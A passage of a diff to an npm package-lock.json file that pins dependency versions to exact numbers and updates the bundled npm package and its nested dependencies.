+ "sass-graph": "2.2.4",
+ "stdout-stream": "1.4.1",
+ "true-case-path": "1.0.3"
},
"dependencies": {
"ajv": {
@@ -10554,10 +11197,10 @@
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz",
"integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==",
"requires": {
- "fast-deep-equal": "^2.0.1",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.4.1",
- "uri-js": "^4.2.2"
+ "fast-deep-equal": "2.0.1",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.4.1",
+ "uri-js": "4.2.2"
}
},
"aws4": {
@@ -10570,8 +11213,8 @@
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz",
"integrity": "sha1-ElYDfsufDF9549bvE14wdwGEuYI=",
"requires": {
- "lru-cache": "^4.0.1",
- "which": "^1.2.9"
+ "lru-cache": "4.1.3",
+ "which": "1.3.0"
}
},
"extend": {
@@ -10589,8 +11232,8 @@
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
"integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
"requires": {
- "ajv": "^6.5.5",
- "har-schema": "^2.0.0"
+ "ajv": "6.10.0",
+ "har-schema": "2.0.0"
}
},
"json-schema-traverse": {
@@ -10636,26 +11279,26 @@
"resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz",
"integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==",
"requires": {
- "aws-sign2": "~0.7.0",
- "aws4": "^1.8.0",
- "caseless": "~0.12.0",
- "combined-stream": "~1.0.6",
- "extend": "~3.0.2",
- "forever-agent": "~0.6.1",
- "form-data": "~2.3.2",
- "har-validator": "~5.1.0",
- "http-signature": "~1.2.0",
- "is-typedarray": "~1.0.0",
- "isstream": "~0.1.2",
- "json-stringify-safe": "~5.0.1",
- "mime-types": "~2.1.19",
- "oauth-sign": "~0.9.0",
- "performance-now": "^2.1.0",
- "qs": "~6.5.2",
- "safe-buffer": "^5.1.2",
- "tough-cookie": "~2.4.3",
- "tunnel-agent": "^0.6.0",
- "uuid": "^3.3.2"
+ "aws-sign2": "0.7.0",
+ "aws4": "1.8.0",
+ "caseless": "0.12.0",
+ "combined-stream": "1.0.6",
+ "extend": "3.0.2",
+ "forever-agent": "0.6.1",
+ "form-data": "2.3.2",
+ "har-validator": "5.1.3",
+ "http-signature": "1.2.0",
+ "is-typedarray": "1.0.0",
+ "isstream": "0.1.2",
+ "json-stringify-safe": "5.0.1",
+ "mime-types": "2.1.24",
+ "oauth-sign": "0.9.0",
+ "performance-now": "2.1.0",
+ "qs": "6.5.2",
+ "safe-buffer": "5.1.2",
+ "tough-cookie": "2.4.3",
+ "tunnel-agent": "0.6.0",
+ "uuid": "3.3.2"
}
},
"safe-buffer": {
@@ -10668,8 +11311,8 @@
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
"integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
"requires": {
- "psl": "^1.1.24",
- "punycode": "^1.4.1"
+ "psl": "1.1.32",
+ "punycode": "1.4.1"
}
},
"uuid": {
@@ -10685,8 +11328,8 @@
"integrity": "sha1-2o69nzr51nYJGbJ9nNyAkqczKFk=",
"dev": true,
"requires": {
- "inherits": "^2.0.1",
- "readable-stream": "~1.0.31"
+ "inherits": "2.0.3",
+ "readable-stream": "1.0.34"
}
},
"nopt": {
@@ -10694,7 +11337,7 @@
"resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz",
"integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=",
"requires": {
- "abbrev": "1"
+ "abbrev": "1.0.9"
}
},
"normalize-package-data": {
@@ -10702,10 +11345,10 @@
"resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz",
"integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=",
"requires": {
- "hosted-git-info": "^2.1.4",
- "is-builtin-module": "^1.0.0",
- "semver": "2 || 3 || 4 || 5",
- "validate-npm-package-license": "^3.0.1"
+ "hosted-git-info": "2.7.1",
+ "is-builtin-module": "1.0.0",
+ "semver": "4.3.6",
+ "validate-npm-package-license": "3.0.4"
}
},
"normalize-path": {
@@ -10714,7 +11357,7 @@
"integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=",
"dev": true,
"requires": {
- "remove-trailing-separator": "^1.0.1"
+ "remove-trailing-separator": "1.0.2"
}
},
"normalize.css": {
@@ -10723,136 +11366,141 @@
"integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg=="
},
"npm": {
- "version": "6.4.1",
- "resolved": "https://registry.npmjs.org/npm/-/npm-6.4.1.tgz",
- "integrity": "sha512-mXJL1NTVU136PtuopXCUQaNWuHlXCTp4McwlSW8S9/Aj8OEPAlSBgo8og7kJ01MjCDrkmqFQTvN5tTEhBMhXQg==",
+ "version": "6.11.3",
+ "resolved": "https://registry.npmjs.org/npm/-/npm-6.11.3.tgz",
+ "integrity": "sha512-K2h+MPzZiY39Xf6eHEdECe/LKoJXam4UCflz5kIxoskN3LQFeYs5fqBGT5i4TtM/aBk+86Mcf+jgXs/WuWAutQ==",
"requires": {
- "JSONStream": "^1.3.4",
- "abbrev": "~1.1.1",
- "ansicolors": "~0.3.2",
- "ansistyles": "~0.1.3",
- "aproba": "~1.2.0",
- "archy": "~1.0.0",
- "bin-links": "^1.1.2",
- "bluebird": "~3.5.1",
- "byte-size": "^4.0.3",
- "cacache": "^11.2.0",
- "call-limit": "~1.1.0",
- "chownr": "~1.0.1",
- "ci-info": "^1.4.0",
- "cli-columns": "^3.1.2",
- "cli-table3": "^0.5.0",
- "cmd-shim": "~2.0.2",
- "columnify": "~1.5.4",
- "config-chain": "~1.1.11",
- "debuglog": "*",
- "detect-indent": "~5.0.0",
- "detect-newline": "^2.1.0",
- "dezalgo": "~1.0.3",
- "editor": "~1.0.0",
- "figgy-pudding": "^3.4.1",
- "find-npm-prefix": "^1.0.2",
- "fs-vacuum": "~1.2.10",
- "fs-write-stream-atomic": "~1.0.10",
- "gentle-fs": "^2.0.1",
- "glob": "~7.1.2",
- "graceful-fs": "~4.1.11",
- "has-unicode": "~2.0.1",
- "hosted-git-info": "^2.7.1",
- "iferr": "^1.0.2",
- "imurmurhash": "*",
- "inflight": "~1.0.6",
- "inherits": "~2.0.3",
- "ini": "^1.3.5",
- "init-package-json": "^1.10.3",
- "is-cidr": "^2.0.6",
- "json-parse-better-errors": "^1.0.2",
- "lazy-property": "~1.0.0",
- "libcipm": "^2.0.2",
- "libnpmhook": "^4.0.1",
- "libnpx": "^10.2.0",
- "lock-verify": "^2.0.2",
- "lockfile": "^1.0.4",
- "lodash._baseindexof": "*",
- "lodash._baseuniq": "~4.6.0",
- "lodash._bindcallback": "*",
- "lodash._cacheindexof": "*",
- "lodash._createcache": "*",
- "lodash._getnative": "*",
- "lodash.clonedeep": "~4.5.0",
- "lodash.restparam": "*",
- "lodash.union": "~4.6.0",
- "lodash.uniq": "~4.5.0",
- "lodash.without": "~4.4.0",
- "lru-cache": "^4.1.3",
- "meant": "~1.0.1",
- "mississippi": "^3.0.0",
- "mkdirp": "~0.5.1",
- "move-concurrently": "^1.0.1",
- "node-gyp": "^3.8.0",
- "nopt": "~4.0.1",
- "normalize-package-data": "~2.4.0",
- "npm-audit-report": "^1.3.1",
- "npm-cache-filename": "~1.0.2",
- "npm-install-checks": "~3.0.0",
- "npm-lifecycle": "^2.1.0",
- "npm-package-arg": "^6.1.0",
- "npm-packlist": "^1.1.11",
- "npm-pick-manifest": "^2.1.0",
- "npm-profile": "^3.0.2",
- "npm-registry-client": "^8.6.0",
- "npm-registry-fetch": "^1.1.0",
- "npm-user-validate": "~1.0.0",
- "npmlog": "~4.1.2",
- "once": "~1.4.0",
- "opener": "^1.5.0",
- "osenv": "^0.1.5",
- "pacote": "^8.1.6",
- "path-is-inside": "~1.0.2",
- "promise-inflight": "~1.0.1",
- "qrcode-terminal": "^0.12.0",
- "query-string": "^6.1.0",
- "qw": "~1.0.1",
- "read": "~1.0.7",
- "read-cmd-shim": "~1.0.1",
- "read-installed": "~4.0.3",
- "read-package-json": "^2.0.13",
- "read-package-tree": "^5.2.1",
- "readable-stream": "^2.3.6",
- "readdir-scoped-modules": "*",
- "request": "^2.88.0",
- "retry": "^0.12.0",
- "rimraf": "~2.6.2",
- "safe-buffer": "^5.1.2",
- "semver": "^5.5.0",
- "sha": "~2.0.1",
- "slide": "~1.1.6",
- "sorted-object": "~2.0.1",
- "sorted-union-stream": "~2.1.3",
- "ssri": "^6.0.0",
- "stringify-package": "^1.0.0",
- "tar": "^4.4.6",
- "text-table": "~0.2.0",
- "tiny-relative-date": "^1.3.0",
+ "JSONStream": "1.3.5",
+ "abbrev": "1.1.1",
+ "ansicolors": "0.3.2",
+ "ansistyles": "0.1.3",
+ "aproba": "2.0.0",
+ "archy": "1.0.0",
+ "bin-links": "1.1.3",
+ "bluebird": "3.5.5",
+ "byte-size": "5.0.1",
+ "cacache": "12.0.3",
+ "call-limit": "1.1.1",
+ "chownr": "1.1.2",
+ "ci-info": "2.0.0",
+ "cli-columns": "3.1.2",
+ "cli-table3": "0.5.1",
+ "cmd-shim": "3.0.3",
+ "columnify": "1.5.4",
+ "config-chain": "1.1.12",
+ "debuglog": "1.0.1",
+ "detect-indent": "5.0.0",
+ "detect-newline": "2.1.0",
+ "dezalgo": "1.0.3",
+ "editor": "1.0.0",
+ "figgy-pudding": "3.5.1",
+ "find-npm-prefix": "1.0.2",
+ "fs-vacuum": "1.2.10",
+ "fs-write-stream-atomic": "1.0.10",
+ "gentle-fs": "2.2.1",
+ "glob": "7.1.4",
+ "graceful-fs": "4.2.2",
+ "has-unicode": "2.0.1",
+ "hosted-git-info": "2.8.2",
+ "iferr": "1.0.2",
+ "imurmurhash": "0.1.4",
+ "infer-owner": "1.0.4",
+ "inflight": "1.0.6",
+ "inherits": "2.0.4",
+ "ini": "1.3.5",
+ "init-package-json": "1.10.3",
+ "is-cidr": "3.0.0",
+ "json-parse-better-errors": "1.0.2",
+ "lazy-property": "1.0.0",
+ "libcipm": "4.0.3",
+ "libnpm": "3.0.1",
+ "libnpmaccess": "3.0.2",
+ "libnpmhook": "5.0.3",
+ "libnpmorg": "1.0.1",
+ "libnpmsearch": "2.0.2",
+ "libnpmteam": "1.0.2",
+ "libnpx": "10.2.0",
+ "lock-verify": "2.1.0",
+ "lockfile": "1.0.4",
+ "lodash._baseindexof": "3.1.0",
+ "lodash._baseuniq": "4.6.0",
+ "lodash._bindcallback": "3.0.1",
+ "lodash._cacheindexof": "3.0.2",
+ "lodash._createcache": "3.1.2",
+ "lodash._getnative": "3.9.1",
+ "lodash.clonedeep": "4.5.0",
+ "lodash.restparam": "3.6.1",
+ "lodash.union": "4.6.0",
+ "lodash.uniq": "4.5.0",
+ "lodash.without": "4.4.0",
+ "lru-cache": "5.1.1",
+ "meant": "1.0.1",
+ "mississippi": "3.0.0",
+ "mkdirp": "0.5.1",
+ "move-concurrently": "1.0.1",
+ "node-gyp": "5.0.3",
+ "nopt": "4.0.1",
+ "normalize-package-data": "2.5.0",
+ "npm-audit-report": "1.3.2",
+ "npm-cache-filename": "1.0.2",
+ "npm-install-checks": "3.0.0",
+ "npm-lifecycle": "3.1.3",
+ "npm-package-arg": "6.1.1",
+ "npm-packlist": "1.4.4",
+ "npm-pick-manifest": "3.0.2",
+ "npm-profile": "4.0.2",
+ "npm-registry-fetch": "4.0.0",
+ "npm-user-validate": "1.0.0",
+ "npmlog": "4.1.2",
+ "once": "1.4.0",
+ "opener": "1.5.1",
+ "osenv": "0.1.5",
+ "pacote": "9.5.8",
+ "path-is-inside": "1.0.2",
+ "promise-inflight": "1.0.1",
+ "qrcode-terminal": "0.12.0",
+ "query-string": "6.8.2",
+ "qw": "1.0.1",
+ "read": "1.0.7",
+ "read-cmd-shim": "1.0.4",
+ "read-installed": "4.0.3",
+ "read-package-json": "2.1.0",
+ "read-package-tree": "5.3.1",
+ "readable-stream": "3.4.0",
+ "readdir-scoped-modules": "1.1.0",
+ "request": "2.88.0",
+ "retry": "0.12.0",
+ "rimraf": "2.6.3",
+ "safe-buffer": "5.1.2",
+ "semver": "5.7.1",
+ "sha": "3.0.0",
+ "slide": "1.1.6",
+ "sorted-object": "2.0.1",
+ "sorted-union-stream": "2.1.3",
+ "ssri": "6.0.1",
+ "stringify-package": "1.0.0",
+ "tar": "4.4.10",
+ "text-table": "0.2.0",
+ "tiny-relative-date": "1.3.0",
"uid-number": "0.0.6",
- "umask": "~1.1.0",
- "unique-filename": "~1.1.0",
- "unpipe": "~1.0.0",
- "update-notifier": "^2.5.0",
- "uuid": "^3.3.2",
- "validate-npm-package-license": "^3.0.4",
- "validate-npm-package-name": "~3.0.0",
- "which": "^1.3.1",
- "worker-farm": "^1.6.0",
- "write-file-atomic": "^2.3.0"
+ "umask": "1.1.0",
+ "unique-filename": "1.1.1",
+ "unpipe": "1.0.0",
+ "update-notifier": "2.5.0",
+ "uuid": "3.3.2",
+ "validate-npm-package-license": "3.0.4",
+ "validate-npm-package-name": "3.0.0",
+ "which": "1.3.1",
+ "worker-farm": "1.7.0",
+ "write-file-atomic": "2.4.3"
},
"dependencies": {
"JSONStream": {
- "version": "1.3.4",
+ "version": "1.3.5",
"bundled": true,
"requires": {
- "jsonparse": "^1.2.0",
- "through": ">=2.2.7 <3"
+ "jsonparse": "1.3.1",
+ "through": "2.3.8"
}
},
"abbrev": {
@@ -10860,34 +11508,34 @@
"bundled": true
},
"agent-base": {
- "version": "4.2.0",
+ "version": "4.3.0",
"bundled": true,
"requires": {
- "es6-promisify": "^5.0.0"
+ "es6-promisify": "5.0.0"
}
},
"agentkeepalive": {
- "version": "3.4.1",
+ "version": "3.5.2",
"bundled": true,
"requires": {
- "humanize-ms": "^1.2.1"
+ "humanize-ms": "1.2.1"
}
},
"ajv": {
"version": "5.5.2",
"bundled": true,
"requires": {
- "co": "^4.6.0",
- "fast-deep-equal": "^1.0.0",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.3.0"
+ "co": "4.6.0",
+ "fast-deep-equal": "1.1.0",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.3.1"
}
},
"ansi-align": {
"version": "2.0.0",
"bundled": true,
"requires": {
- "string-width": "^2.0.0"
+ "string-width": "2.1.1"
}
},
"ansi-regex": {
@@ -10898,7 +11546,7 @@
"version": "3.2.1",
"bundled": true,
"requires": {
- "color-convert": "^1.9.0"
+ "color-convert": "1.9.1"
}
},
"ansicolors": {
@@ -10910,7 +11558,7 @@
"bundled": true
},
"aproba": {
- "version": "1.2.0",
+ "version": "2.0.0",
"bundled": true
},
"archy": {
@@ -10921,8 +11569,30 @@
"version": "1.1.4",
"bundled": true,
"requires": {
- "delegates": "^1.0.0",
- "readable-stream": "^2.0.6"
+ "delegates": "1.0.0",
+ "readable-stream": "2.3.6"
+ },
+ "dependencies": {
+ "readable-stream": {
+ "version": "2.3.6",
+ "bundled": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.4",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2"
+ }
+ }
}
},
"asap": {
@@ -10933,7 +11603,7 @@
"version": "0.2.4",
"bundled": true,
"requires": {
- "safer-buffer": "~2.1.0"
+ "safer-buffer": "2.1.2"
}
},
"assert-plus": {
@@ -10961,49 +11631,42 @@
"bundled": true,
"optional": true,
"requires": {
- "tweetnacl": "^0.14.3"
+ "tweetnacl": "0.14.5"
}
},
"bin-links": {
- "version": "1.1.2",
+ "version": "1.1.3",
"bundled": true,
"requires": {
- "bluebird": "^3.5.0",
- "cmd-shim": "^2.0.2",
- "gentle-fs": "^2.0.0",
- "graceful-fs": "^4.1.11",
- "write-file-atomic": "^2.3.0"
- }
- },
- "block-stream": {
- "version": "0.0.9",
- "bundled": true,
- "requires": {
- "inherits": "~2.0.0"
+ "bluebird": "3.5.5",
+ "cmd-shim": "3.0.3",
+ "gentle-fs": "2.2.1",
+ "graceful-fs": "4.2.2",
+ "write-file-atomic": "2.4.3"
}
},
"bluebird": {
- "version": "3.5.1",
+ "version": "3.5.5",
"bundled": true
},
"boxen": {
"version": "1.3.0",
"bundled": true,
"requires": {
- "ansi-align": "^2.0.0",
- "camelcase": "^4.0.0",
- "chalk": "^2.0.1",
- "cli-boxes": "^1.0.0",
- "string-width": "^2.0.0",
- "term-size": "^1.2.0",
- "widest-line": "^2.0.0"
+ "ansi-align": "2.0.0",
+ "camelcase": "4.1.0",
+ "chalk": "2.4.1",
+ "cli-boxes": "1.0.0",
+ "string-width": "2.1.1",
+ "term-size": "1.2.0",
+ "widest-line": "2.0.0"
}
},
"brace-expansion": {
"version": "1.1.11",
"bundled": true,
"requires": {
- "balanced-match": "^1.0.0",
+ "balanced-match": "1.0.0",
"concat-map": "0.0.1"
}
},
@@ -11011,10 +11674,6 @@
"version": "1.0.0",
"bundled": true
},
- "builtin-modules": {
- "version": "1.1.1",
- "bundled": true
- },
"builtins": {
"version": "1.0.3",
"bundled": true
@@ -11024,31 +11683,32 @@
"bundled": true
},
"byte-size": {
- "version": "4.0.3",
+ "version": "5.0.1",
"bundled": true
},
"cacache": {
- "version": "11.2.0",
+ "version": "12.0.3",
"bundled": true,
"requires": {
- "bluebird": "^3.5.1",
- "chownr": "^1.0.1",
- "figgy-pudding": "^3.1.0",
- "glob": "^7.1.2",
- "graceful-fs": "^4.1.11",
- "lru-cache": "^4.1.3",
- "mississippi": "^3.0.0",
- "mkdirp": "^0.5.1",
- "move-concurrently": "^1.0.1",
- "promise-inflight": "^1.0.1",
- "rimraf": "^2.6.2",
- "ssri": "^6.0.0",
- "unique-filename": "^1.1.0",
- "y18n": "^4.0.0"
+ "bluebird": "3.5.5",
+ "chownr": "1.1.2",
+ "figgy-pudding": "3.5.1",
+ "glob": "7.1.4",
+ "graceful-fs": "4.2.2",
+ "infer-owner": "1.0.4",
+ "lru-cache": "5.1.1",
+ "mississippi": "3.0.0",
+ "mkdirp": "0.5.1",
+ "move-concurrently": "1.0.1",
+ "promise-inflight": "1.0.1",
+ "rimraf": "2.6.3",
+ "ssri": "6.0.1",
+ "unique-filename": "1.1.1",
+ "y18n": "4.0.0"
}
},
"call-limit": {
- "version": "1.1.0",
+ "version": "1.1.1",
"bundled": true
},
"camelcase": {
@@ -11067,24 +11727,24 @@
"version": "2.4.1",
"bundled": true,
"requires": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
+ "ansi-styles": "3.2.1",
+ "escape-string-regexp": "1.0.5",
+ "supports-color": "5.4.0"
}
},
"chownr": {
- "version": "1.0.1",
+ "version": "1.1.2",
"bundled": true
},
"ci-info": {
- "version": "1.4.0",
+ "version": "2.0.0",
"bundled": true
},
"cidr-regex": {
- "version": "2.0.9",
+ "version": "2.0.10",
"bundled": true,
"requires": {
- "ip-regex": "^2.1.0"
+ "ip-regex": "2.1.0"
}
},
"cli-boxes": {
@@ -11095,26 +11755,26 @@
"version": "3.1.2",
"bundled": true,
"requires": {
- "string-width": "^2.0.0",
- "strip-ansi": "^3.0.1"
+ "string-width": "2.1.1",
+ "strip-ansi": "3.0.1"
}
},
"cli-table3": {
- "version": "0.5.0",
+ "version": "0.5.1",
"bundled": true,
"requires": {
- "colors": "^1.1.2",
- "object-assign": "^4.1.0",
- "string-width": "^2.1.1"
+ "colors": "1.3.3",
+ "object-assign": "4.1.1",
+ "string-width": "2.1.1"
}
},
"cliui": {
"version": "4.1.0",
"bundled": true,
"requires": {
- "string-width": "^2.1.1",
- "strip-ansi": "^4.0.0",
- "wrap-ansi": "^2.0.0"
+ "string-width": "2.1.1",
+ "strip-ansi": "4.0.0",
+ "wrap-ansi": "2.1.0"
},
"dependencies": {
"ansi-regex": {
@@ -11125,7 +11785,7 @@
"version": "4.0.0",
"bundled": true,
"requires": {
- "ansi-regex": "^3.0.0"
+ "ansi-regex": "3.0.0"
}
}
}
@@ -11135,11 +11795,11 @@
"bundled": true
},
"cmd-shim": {
- "version": "2.0.2",
+ "version": "3.0.3",
"bundled": true,
"requires": {
- "graceful-fs": "^4.1.2",
- "mkdirp": "~0.5.0"
+ "graceful-fs": "4.2.2",
+ "mkdirp": "0.5.1"
}
},
"co": {
@@ -11154,7 +11814,7 @@
"version": "1.9.1",
"bundled": true,
"requires": {
- "color-name": "^1.1.1"
+ "color-name": "1.1.3"
}
},
"color-name": {
@@ -11162,7 +11822,7 @@
"bundled": true
},
"colors": {
- "version": "1.1.2",
+ "version": "1.3.3",
"bundled": true,
"optional": true
},
@@ -11170,15 +11830,15 @@
"version": "1.5.4",
"bundled": true,
"requires": {
- "strip-ansi": "^3.0.0",
- "wcwidth": "^1.0.0"
+ "strip-ansi": "3.0.1",
+ "wcwidth": "1.0.1"
}
},
"combined-stream": {
"version": "1.0.6",
"bundled": true,
"requires": {
- "delayed-stream": "~1.0.0"
+ "delayed-stream": "1.0.0"
}
},
"concat-map": {
@@ -11189,30 +11849,52 @@
"version": "1.6.2",
"bundled": true,
"requires": {
- "buffer-from": "^1.0.0",
- "inherits": "^2.0.3",
- "readable-stream": "^2.2.2",
- "typedarray": "^0.0.6"
+ "buffer-from": "1.0.0",
+ "inherits": "2.0.4",
+ "readable-stream": "2.3.6",
+ "typedarray": "0.0.6"
+ },
+ "dependencies": {
+ "readable-stream": {
+ "version": "2.3.6",
+ "bundled": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.4",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2"
+ }
+ }
}
},
"config-chain": {
- "version": "1.1.11",
+ "version": "1.1.12",
"bundled": true,
"requires": {
- "ini": "^1.3.4",
- "proto-list": "~1.2.1"
+ "ini": "1.3.5",
+ "proto-list": "1.2.4"
}
},
"configstore": {
"version": "3.1.2",
"bundled": true,
"requires": {
- "dot-prop": "^4.1.0",
- "graceful-fs": "^4.1.2",
- "make-dir": "^1.0.0",
- "unique-string": "^1.0.0",
- "write-file-atomic": "^2.0.0",
- "xdg-basedir": "^3.0.0"
+ "dot-prop": "4.2.0",
+ "graceful-fs": "4.2.2",
+ "make-dir": "1.3.0",
+ "unique-string": "1.0.0",
+ "write-file-atomic": "2.4.3",
+ "xdg-basedir": "3.0.0"
}
},
"console-control-strings": {
@@ -11223,14 +11905,18 @@
"version": "1.0.5",
"bundled": true,
"requires": {
- "aproba": "^1.1.1",
- "fs-write-stream-atomic": "^1.0.8",
- "iferr": "^0.1.5",
- "mkdirp": "^0.5.1",
- "rimraf": "^2.5.4",
- "run-queue": "^1.0.0"
+ "aproba": "1.2.0",
+ "fs-write-stream-atomic": "1.0.10",
+ "iferr": "0.1.5",
+ "mkdirp": "0.5.1",
+ "rimraf": "2.6.3",
+ "run-queue": "1.0.3"
},
"dependencies": {
+ "aproba": {
+ "version": "1.2.0",
+ "bundled": true
+ },
"iferr": {
"version": "0.1.5",
"bundled": true
@@ -11245,16 +11931,30 @@
"version": "3.0.2",
"bundled": true,
"requires": {
- "capture-stack-trace": "^1.0.0"
+ "capture-stack-trace": "1.0.0"
}
},
"cross-spawn": {
"version": "5.1.0",
"bundled": true,
"requires": {
- "lru-cache": "^4.0.1",
- "shebang-command": "^1.2.0",
- "which": "^1.2.9"
+ "lru-cache": "4.1.5",
+ "shebang-command": "1.2.0",
+ "which": "1.3.1"
+ },
+ "dependencies": {
+ "lru-cache": {
+ "version": "4.1.5",
+ "bundled": true,
+ "requires": {
+ "pseudomap": "1.0.2",
+ "yallist": "2.1.2"
+ }
+ },
+ "yallist": {
+ "version": "2.1.2",
+ "bundled": true
+ }
}
},
"crypto-random-string": {
@@ -11269,7 +11969,7 @@
"version": "1.14.1",
"bundled": true,
"requires": {
- "assert-plus": "^1.0.0"
+ "assert-plus": "1.0.0"
}
},
"debug": {
@@ -11305,7 +12005,14 @@
"version": "1.0.3",
"bundled": true,
"requires": {
- "clone": "^1.0.2"
+ "clone": "1.0.4"
+ }
+ },
+ "define-properties": {
+ "version": "1.1.3",
+ "bundled": true,
+ "requires": {
+ "object-keys": "1.0.12"
}
},
"delayed-stream": {
@@ -11328,15 +12035,15 @@
"version": "1.0.3",
"bundled": true,
"requires": {
- "asap": "^2.0.0",
- "wrappy": "1"
+ "asap": "2.0.6",
+ "wrappy": "1.0.2"
}
},
"dot-prop": {
"version": "4.2.0",
"bundled": true,
"requires": {
- "is-obj": "^1.0.0"
+ "is-obj": "1.0.1"
}
},
"dotenv": {
@@ -11351,10 +12058,32 @@
"version": "3.6.0",
"bundled": true,
"requires": {
- "end-of-stream": "^1.0.0",
- "inherits": "^2.0.1",
- "readable-stream": "^2.0.0",
- "stream-shift": "^1.0.0"
+ "end-of-stream": "1.4.1",
+ "inherits": "2.0.4",
+ "readable-stream": "2.3.6",
+ "stream-shift": "1.0.0"
+ },
+ "dependencies": {
+ "readable-stream": {
+ "version": "2.3.6",
+ "bundled": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.4",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "bundled": true,
+ "requires": {
+ "safe-buffer": "5.1.2"
+ }
+ }
}
},
"ecc-jsbn": {
@@ -11362,8 +12091,8 @@
"bundled": true,
"optional": true,
"requires": {
- "jsbn": "~0.1.0",
- "safer-buffer": "^2.1.0"
+ "jsbn": "0.1.1",
+ "safer-buffer": "2.1.2"
}
},
"editor": {
@@ -11374,16 +12103,20 @@
"version": "0.1.12",
"bundled": true,
"requires": {
- "iconv-lite": "~0.4.13"
+ "iconv-lite": "0.4.23"
}
},
"end-of-stream": {
"version": "1.4.1",
"bundled": true,
"requires": {
- "once": "^1.4.0"
+ "once": "1.4.0"
}
},
+ "env-paths": {
+ "version": "1.0.0",
+ "bundled": true
+ },
"err-code": {
"version": "1.1.2",
"bundled": true
@@ -11392,18 +12125,38 @@
"version": "0.1.7",
"bundled": true,
"requires": {
- "prr": "~1.0.1"
+ "prr": "1.0.1"
+ }
+ },
+ "es-abstract": {
+ "version": "1.12.0",
+ "bundled": true,
+ "requires": {
+ "es-to-primitive": "1.2.0",
+ "function-bind": "1.1.1",
+ "has": "1.0.3",
+ "is-callable": "1.1.4",
+ "is-regex": "1.0.4"
+ }
+ },
+ "es-to-primitive": {
+ "version": "1.2.0",
+ "bundled": true,
+ "requires": {
+ "is-callable": "1.1.4",
+ "is-date-object": "1.0.1",
+ "is-symbol": "1.0.2"
}
},
"es6-promise": {
- "version": "4.2.4",
+ "version": "4.2.8",
"bundled": true
},
"es6-promisify": {
"version": "5.0.0",
"bundled": true,
"requires": {
- "es6-promise": "^4.0.3"
+ "es6-promise": "4.2.8"
}
},
"escape-string-regexp": {
@@ -11414,13 +12167,19 @@
"version": "0.7.0",
"bundled": true,
"requires": {
- "cross-spawn": "^5.0.1",
- "get-stream": "^3.0.0",
- "is-stream": "^1.1.0",
- "npm-run-path": "^2.0.0",
- "p-finally": "^1.0.0",
- "signal-exit": "^3.0.0",
- "strip-eof": "^1.0.0"
+ "cross-spawn": "5.1.0",
+ "get-stream": "3.0.0",
+ "is-stream": "1.1.0",
+ "npm-run-path": "2.0.2",
+ "p-finally": "1.0.0",
+ "signal-exit": "3.0.2",
+ "strip-eof": "1.0.0"
+ },
+ "dependencies": {
+ "get-stream": {
+ "version": "3.0.0",
+ "bundled": true
+ }
}
},
"extend": {
@@ -11440,7 +12199,7 @@
"bundled": true
},
"figgy-pudding": {
- "version": "3.4.1",
+ "version": "3.5.1",
"bundled": true
},
"find-npm-prefix": {
@@ -11451,15 +12210,37 @@
"version": "2.1.0",
"bundled": true,
"requires": {
- "locate-path": "^2.0.0"
+ "locate-path": "2.0.0"
}
},
"flush-write-stream": {
"version": "1.0.3",
"bundled": true,
"requires": {
- "inherits": "^2.0.1",
- "readable-stream": "^2.0.4"
+ "inherits": "2.0.4",
+ "readable-stream": "2.3.6"
+ },
+ "dependencies": {
+ "readable-stream": {
+ "version": "2.3.6",
+ "bundled": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.4",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "string_decoder": {
